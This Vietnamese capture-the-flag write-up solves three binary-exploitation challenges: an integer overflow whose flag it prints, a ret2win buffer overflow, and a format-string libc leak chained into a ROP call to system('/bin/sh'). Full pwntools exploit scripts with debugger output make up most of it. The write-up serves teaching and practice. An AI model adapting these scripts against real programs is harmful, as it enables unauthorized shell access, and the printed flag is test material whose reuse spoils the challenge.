> Author: [Kinabler](https://www.facebook.com/KevilPham1801)
# Challenge 1 (Ethical Poker Club)
[+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/ethical-poker-club)
Ở bài này tồn tại 1 lỗ hổng: Integer Overflow để chúng ta có thể khai thác.<br>
Với chức năng **rechange money** và **withdraw money**. Do bài đã chứa sẵn 1 số liệu integer overflow nên sẽ không phải làm bất cứ điều gì cả.<br>
Press 3 --> Yes.<br>
`EHC{1nt3g3r_0v3rfl0w_k180123a201023}`
# Challenge 2 (Earn much money ?)
[+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/earn-much-money)
Khi debug chương trình tôi thấy 1 hàm success với câu lệnh `system("sh")`. Và có 1 lỗi chương trình tôi có thể khai thác ở đây: Đó là **Ret2Win**. <br>
Tiến hành khai thác. Tôi thấy mình không thể ret đến đầu hàm `success` được vì có đoạn code: `mov 0x0, ebp` nó sẽ gây ra lỗi chương trình và sẽ không bao giờ chạy được. Bởi vậy tôi sẽ jump ra đằng sau của nó. Và ở đây tôi có script để khai thác bài này.(bạn có thể tắt gdb.attach đi trước khi chạy):
```python
from pwn import *
elf = context.binary = ELF("./source")
r = elf.process()
gdb.attach(r, '''
b* main+154\n
c
''')
payload = b"a"*40 + p64(0x000000000040115e)
r.sendlineafter(b"login:", payload)
r.interactive()
```
# Challenge 3 (EHC_Library)
[+] [Source](https://battle.cookiearena.org/challenges/binary-exploitation/ehc-library)
Ở bài này, tôi thu thập được 2 lỗi: `Format String` và `Buffer OverFlow`.<br>
Và do chương trình không có hàm win, bởi vậy tôi sẽ dùng kĩ thuật: `ROPgadget + Leak Libc`.<br>
Để làm được bài này bạn cần xác định được những thứ sau:<br>
* Do tồn tại lỗi **format String** nên tôi đoán là phải dùng các **ROPgadget** từ libc.
* Dùng lỗi **format string** để leak được địa chỉ libc và tính toán 1 xíu ta được địa chỉ libc base.
* Tìm kiếm các **ROPgadget** từ libc và sử dụng nó để khai thác và lấy shell.
## I. Format String.
Tôi chạy chương trình đến lỗi Format String.
```js
0x40140b <other+107> call printf@plt <printf@plt>
format: 0x7fffffffddf0 ◂— 0xa7026393125 /* '%19&p\n' */
vararg: 0x1
0x401410 <other+112> lea rax, [rip + 0xf22]
0x401417 <other+119> mov rdi, rax
0x40141a <other+122> call puts@plt <puts@plt>
0x40141f <other+127> nop
0x401420 <other+128> leave
0x401421 <other+129> ret
0x401422 <main> endbr64
0x401426 <main+4> push rbp
0x401427 <main+5> mov rbp, rsp
0x40142a <main+8> mov rax, qword ptr [rip + 0x2c3f] <stdin@GLIBC_2.2.5>
```
Sau đó dùng `stack 19`:
```js
pwndbg> stack 19
00:0000│ rdi rsp 0x7fffffffddf0 ◂— 0xa7026393125 /* '%19&p\n' */
01:0008│ 0x7fffffffddf8 ◂— 0x0
02:0010│ 0x7fffffffde00 —▸ 0x7ffff7f9f600 (_IO_file_jumps) ◂— 0x0
03:0018│ 0x7fffffffde08 —▸ 0x7ffff7e1362d (_IO_file_setbuf+13) ◂— test rax, rax
04:0020│ 0x7fffffffde10 ◂— 0x0
05:0028│ 0x7fffffffde18 ◂— 0xa007ffff7ffe2e0
06:0030│ rbp 0x7fffffffde20 —▸ 0x7fffffffde40 —▸ 0x7fffffffde50 ◂— 0x1
07:0038│ 0x7fffffffde28 —▸ 0x401323 (book+140) ◂— jmp 0x401335
08:0040│ 0x7fffffffde30 —▸ 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
09:0048│ 0x7fffffffde38 ◂— 0x400401294
0a:0050│ 0x7fffffffde40 —▸ 0x7fffffffde50 ◂— 0x1
0b:0058│ 0x7fffffffde48 —▸ 0x401498 (main+118) ◂— jmp 0x401484
0c:0060│ 0x7fffffffde50 ◂— 0x1
0d:0068│ 0x7fffffffde58 —▸ 0x7ffff7db2d90 (__libc_start_call_main+128) ◂— mov edi, eax
0e:0070│ 0x7fffffffde60 ◂— 0x0
0f:0078│ 0x7fffffffde68 —▸ 0x401422 (main) ◂— endbr64
10:0080│ 0x7fffffffde70 ◂— 0x100000000
11:0088│ 0x7fffffffde78 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe223 ◂— '/mnt/d/OneDrive/Desktop/HoLACTF/ROP_Libc_leak/source'
12:0090│ 0x7fffffffde80 ◂— 0x0
```
Để ý phần offset 0x0068. Tôi thấy có 1 địa chỉ libc.<br>
```js
//Dùng vmmap trên gdb để xem phần này
0x7ffff7d86000 0x7ffff7d89000 rw-p 3000 0 [anon_7ffff7d86]
0x7ffff7d89000 0x7ffff7db1000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db1000 0x7ffff7f46000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f46000 0x7ffff7f9e000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f9e000 0x7ffff7fa2000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fa2000 0x7ffff7fa4000 rw-p 2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6
```
Vậy tôi có thể có được địa chỉ `libc` của nó bằng cách lấy libc mà tôi tìm được trên stack trừ đi khoảng cách với `libc.base`:
`0x7ffff7db2d90 - 0x7ffff7d89000 = 0x29d90 (bằng khoảng cách mà tôi nói ở trên)`.<br>
Qua đó tôi có được script đoạn này:
```python
from pwn import *
elf = context.binary = ELF("./source")
r = elf.process()
libc = elf.libc
def send_book(payload:bytes):
r.sendline(payload)
#############
# Leak Libc #
#############
r.sendline(b"4")
send_book(b"%19$p")
r.recvuntil(b"I can not find book: \n")
libc.address = int(r.recvline(),16) - 0x29d90
log.success(f"LIBC Base: {hex(libc.address)}")
```
Dùng script này để lấy được libc và khai thác tiếp cái libc của nó để tìm ra các gadget:
```js
└$ ROPgadget --binary /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
0x000000000009c2a9 : add byte ptr [rbx + rcx*4 + 0x15], cl ; pop rdi ; retf
0x00000000001bc10b : or al, ch ; pop rdi ; ret 0xffe6
0x000000000002a3e5 : pop rdi ; ret
0x00000000001bc10d : pop rdi ; ret 0xffe6
0x000000000008eef5 : pop rdi ; retf
```
địa chỉ mà bạn thấy ở trên là các offset và bạn phải cộng nó với `libc.base` thì mới ra được địa chỉ thật.<br>
và script dưới đây là để tìm ra 2 hàm `system` và chuỗi `/bin/sh`:
```python
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
```
Vậy tổng kết lại tôi có 1 script hoàn chỉnh sau để khai thác:
```python
from pwn import *
elf = context.binary = ELF("./source")
r = elf.process()
libc = elf.libc
def send_book(payload:bytes):
r.sendline(payload)
#############
# Leak Libc #
#############
r.sendline(b"4")
send_book(b"%19$p")
r.recvuntil(b"I can not find book: \n")
libc.address = int(r.recvline(),16) - 0x29d90
log.success(f"LIBC Base: {hex(libc.address)}")
################
# ROP gadget #
################
pop_rdi_ret = 0x000000000002a3e5 + libc.address
ret = pop_rdi_ret + 1
system = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh"))
###########
# Execute #
###########
r.sendline(b"4")
payload = b"a" * 56 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
send_book(payload)
r.interactive()
```
Hãy nhớ là bạn phải chạy trên Ubuntu 22.04 vì bài này sử dụng thư viện của ubuntu 22.04 để load libc.
```bash
$ ls
Dockerfile exp.py flag.txt
```